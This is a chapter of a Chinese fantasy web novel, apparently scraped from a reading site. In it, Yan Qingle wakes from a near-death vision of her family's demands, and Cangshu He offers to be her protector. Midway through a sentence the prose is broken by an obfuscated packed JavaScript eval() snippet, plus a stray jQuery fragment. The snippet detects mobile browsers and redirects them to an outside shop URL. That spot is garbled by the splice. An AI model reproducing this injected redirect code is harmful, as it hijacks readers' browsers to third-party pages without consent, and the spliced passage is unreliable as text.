默认冷灰
24号文字
方正启体

17. 玉璜渡(十)

作者:空京本书字数:K更新时间:
    当满目皆是桃花盛放,花玉影不禁愕然。


    所有忐忑不安在花香中渐渐消去。


    村外没有他处,村外没有世界,只有漫山遍野的落英缤纷,迷花人眼。


    苍舒禾不禁勾起唇角,无奈地似笑非笑,真的是……


    她斜过眼,远处,女人面无表情,手掌攥紧黑袍人的脑袋,拖着黑袍人往她的方向上前一步。


    一步,不多,也不少,正正好没破坏到这美丽的景致。


    *


    好像,整个人沉进湖底。


    水流划过身体,绵柔,又冷得刺骨。


    阎青乐从未如此平静,从未如此放任自己下坠。


    眉头下意识一拧,复又沉寂下去。


    「你娘都是为了你,才早早玉碎,你要入道,好好修炼,才对得起她。」


    「小姐定然会成功入道的,当年夫人虽不算特别有天赋,但也是早早就入了道。」


    起初,她也是这样想的,身边的目光无不期待,仿佛她入道这件事,就和每天需要吃饭睡觉一样,注定会实现。


    她能入道,她会入道,她不会对不起死去的娘。


    可是,什么动静都没有。


    她失败了。


    「多久了?我在你这个年纪已经入道,该不会是个废物吧?」


    「娘不会为了生出一个没有天赋的凡人去世吧?」


    「无事,家里会为你找来丹药。」


    啊,是啊,入道的方法不止一种,她还有机会。


    忐忑不安的心在一天天的寂静中,焦躁到无可复加。


    所有人的眼神都变了味。


    爹,大哥,二哥,和她,他们是一家人,她在中间却格格不入,只有她,唯有她,是个凡人,努力了多年,依旧是个凡人。


    自她懂事时起,所有人都告诉她,她必须入道,她必须悟道,唯有如此,才对得起为生下她而死去的娘。


    她分明那么努力,每天一睁眼,就连做梦,都是在虚无缥缈中寻找一丝微小的可能,她吃下一颗又一颗丹药,半夜咳血,全身灼烧,痛得快要死掉……


    可他们还是说,你不够努力。


    为什么,为什么……


    她明明已经摸到门槛,突如其来的惊喜不过一种感觉,一种于茫茫黑暗里飘过的细小光线,庞大的喜悦还未弥漫,霎时从天上宫阙,掉落无间深渊,巨石重重压下,唯剩手拼命试图攥住光线,却如水,什么都没有留下,一点点也抓不住。


    「吃了那么多丹药,都快成功还能失败?」


    「怎能如此没用?」


    「既然无法入道,那就成为元后,我会找办法把你送到少主身边,你要自己找到机会,让少主留下你。」


    「这是你为数不多,能证明自己的机会。」


    「青乐,不要让我失望。」


    不能再让父亲失望。


    她能做的不多了。


    她是最没用的人。


    她什么都做不到。


    水流缓缓,周身是从没有过的宁静,异常的轻松陌生,又诱人沉迷。


    什么也不用想,什么也不用做,任凭水流带动,不必再使出一丝一毫的力。


    思绪一点点发散。


    她陪伴奚淮昭多年,说是陪伴,倒不如说,是他允许她跟在身边。


    元洲少主从不缺跟班,也会赶走每一个心怀不轨试图接近他的人,她只是其中之一。


    面对她极其僵硬的搭话,他抬眼,仅一眼,阎青乐如坠冰窖。


    他知道。


    他知道阎家的打算,他知道她的目的。


    她窘迫得手都不知该放哪里好。


    「回去吧。」奚淮昭说。


    短短三个字,没有恶语相向,没有嘲讽,却几乎压垮她的脊骨。


    她永远都是会被抛弃的那一个。


    她只能狠狠攥紧草绳,哪怕皮开肉绽,哪怕精疲力尽。


    在奚淮昭向乌家提亲当天,她以为她的表情会很难看。


    没有,她在女侍惊讶的眼睛里,清清楚楚地看见自己。


    那张与自己长得一模一样的脸,她在笑,如释重负地笑。


    太好了。


    原来这才是她的想法,太好了。


    其实她并不怨恨乌三娘,也知道奚淮昭不喜欢她,如果他愿意娶她,也不至于那么久都没到阎府提亲。


    她早就知道了。


    他不过是看她可怜,让她在阎府稍微好过一点而已。


    好累啊,为什么活下来的是我?是不是当时活下来的是娘,一切就会皆大欢喜。


    「你还有最后的机会,如果还是做不到,我会为你安排合适的夫婿。」


    ……


    不甘心。


    说什么为了元后之位才接近奚淮昭,说什么对他真情切切?


    不甘心。


    鼻尖突兀地飘过龙鳞香,


    水流缓缓滑过耳畔。


    发生了什么?


    她竭力回想,终于忆起香味的主人。


    她被反过来保护了。


    明明一开始,说要靠她的。


    乌三娘死了吗?


    到头来,没有抛下她的人,居然是认识不过三日,父亲要她杀死的人。


    怎么能因为她死了?


    不甘心!真的……好不甘心!


    心脏犹如是被什么重重敲打,又被什么极力推起。


    只一下,哗啦冲出水面。


    阎青乐猛地睁开双眼,呼吸涌入身体,浑身泛着丝丝凉意。


    朦朦胧胧的茅草屋顶逐渐清晰。


    “……三具自爆,都不是本体。”


    “虽然不是很想承认,但折柳村,确实很像某种献祭。”


    好像……是奚淮昭的声音,另外一个……是……


    “青乐,你醒了!”


    房内交谈应声停下。


    熟悉的嗓音入耳,她眼珠子滑动。


    容序适时搭上她的手腕察看情况,松口气:“醒了就好。”


    “乌……”阎青乐一把攥紧他的衣袖。


    突如其来的动作意外,容序面上愕然,只见尚且虚弱的人手肘借力挣扎起身,满脸焦急害怕:“乌三娘,乌三娘呢!”


    满室寂静。


    “阎小姐。”


    阎青乐呼吸一乱,转头。


    陷入黑暗之际,挡在自己身前的人,完完整整地站在前方。


    苍舒禾堪堪走近,阎青乐松开容序的衣袖,慌乱地攀上,抓住她的衣领,她不得不低下头。


    “你为什么不抛下我?”声音轻地几乎要散掉。


    苍舒禾垂目,紧攥自己衣领的手也染上苍白,不停发颤,她头一歪,疑惑问道:“我为什么要抛下你?”


    阎青乐手间动作一松。


    最后的记忆,是乌三娘的龙鳞香和体温,如今,依旧弥漫在她鼻尖。


    “我不会抛下你。”


    笃定的话语落入耳畔,阎青乐眉间怔怔,眼眶止不住发烫。


    这是苍舒禾的真话,她从很久以前,就知道整个折柳村被刨起,毕竟,那本?山婆俗事?,就是由她口述,权惊舟亲笔写下的书。


    虽说四十多年前的事,不,四十多年前也不过是她的推断,折柳村事情发生时她还没出生。


    山婆岭折柳村,若她要撇开关系,她也完全可以这样做,朱金的地界,再怎么与苍洲临近,与她又有何干系?死再多人,命案再骇人听闻,也是朱金的失察。


    可是这么多年,竟无人发觉山婆岭异样,硬生生让它爆发出来。


    无论是因为什么决定出手,既然做了,那就只好再认真一点了。


    ?山婆俗事?的问世,大抵算得上她的一点恶趣味,又或是期待,她期待某一天,当折柳村再次重现于世时,无论是不是她首先将它找到,都能有人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957105|193178||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    将他们和山婆岭的人们联系起来,明了他们的故土,知晓他们的存在。


    哪怕当年笼罩山婆岭的术法,与记忆有关,也就将大部分人记忆里的折柳村淡化。


    阎青乐,她的运气也许是太差了。


    上漪玉一直都在抽取她的生机,她才会越来越虚弱,甚至是苍舒禾一眼就能看出,只需要阎青乐的心绪有较大波动,就能把滋养玉璜的本人送进去。


    已经不稳定到如此地步,若她再不介入,不出一个月,阎青乐就会死,甚至是连像折柳村村民鬼魂状态出现都做不到。


    因而,让阎青乐生气还是很有必要的,只有戳到痛处,心防才会真正波动。


    她当然不会抛下阎青乐一个人在这儿,即使这姑娘一见面,就色厉内荏。


    不过,第一次见面,就愿意接受她的邀请,乖乖用饭,去游市的人,苍舒禾不觉着她会是个恶人。


    她眼睁睁地看着阎青乐眼眶通红,脸上居然浮起委屈:“你……太坏了!太坏了。”


    阎青乐低下头,豆大的泪珠一颗颗砸落,湿了被褥。


    可恶!都怪乌三娘那张嘴,巧舌如簧!


    “是是是,我坏。”苍舒禾蹲下身,正正让阎青乐倚在肩头。


    茅草屋静悄悄,不知何时只剩下她们两个。


    清扬的凉意含着丝丝清雅花香,这一开始令阎青乐戒备的龙鳞香,此刻竟变得安心起来。


    入道失败,没有成为元后,亲手放弃杀死乌三娘的最好时机,她恐怕再也无法对她出手。


    没有入道,她在阎家如废人无异,这也是阎青乐长久以来无法反驳二哥的原因,他的话纵使难听,说的都是事实。


    她已经失去所有价值,她哪一件事都没有做到。


    回到阎府后会发生什么,阎青乐已经能够预见。


    她一无所有了,那就这样吧。


    她的腰缓缓弯下,手也渐松。


    苍舒禾目光肆无忌惮地观察头愈埋愈低的阎青乐,初醒的淡淡不甘逐渐消弭,取而代之的是混沌的虚无。


    若有所思的淡淡审视闪过,苍舒禾一把托起她渐渐松垮的胳膊,开口:“不被道所选择,但你的心已经选择,不过你的心还没有明白,你想要的到底是什么,又为什么要走上这条路。”


    垂下脑袋的人僵住。


    尽管说出来的话莫名其妙,可苍舒禾相信,阎青乐听得出她说的什么。


    “无奈之举也好,执着也好,这就是你选择的路。”


    不是所有人都能入道,也不是所有人都能明白,入道,并非想要,就能得到。服食丹药的入道,依旧需要明已。


    不知是从什么时候起,很多人都忘了,入道本就是一件漫长的事,有些人终其一生无法成功,也有些人,在年入古稀才得以踏入。


    一昧追求结果,反而会失去初心。


    道就在那里,路也在那里,是人自己,蒙上迷雾。


    苍舒禾伸手绕过,用力拍上阎青乐的腰。


    “啪。”


    阎青乐不得不直起身体,抬头呆呆地看着突然动作的人。


    眼前的乌三娘少见地没有笑意,只听她说道:“既然你需要一个靠山……”


    路是要自己要走的,逃避不失为一种好方法,但路只要存在,就总是需要再出发。


    她垂眼,注视下方的眼睛:“那换个靠山怎么样?”


    阎青乐微微睁大双眼,还未有其他反应,下一句话恍若平地惊雷,在耳中炸开。


    “我来做你的靠山。”


    能在万千文字中记住山婆岭折柳村的人,已经身在悬崖,仍选择为他人谋取一线生机的人,还尚且拥有不甘的人,苍舒禾不允许她放弃。


    哪怕前路泥泞。


    倘若她一定需要一根绳子,苍舒禾愿意给,她能给她一条世上绝无仅有,最为坚实的绳子。


    直到,她松开绳子那天,也能站稳。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)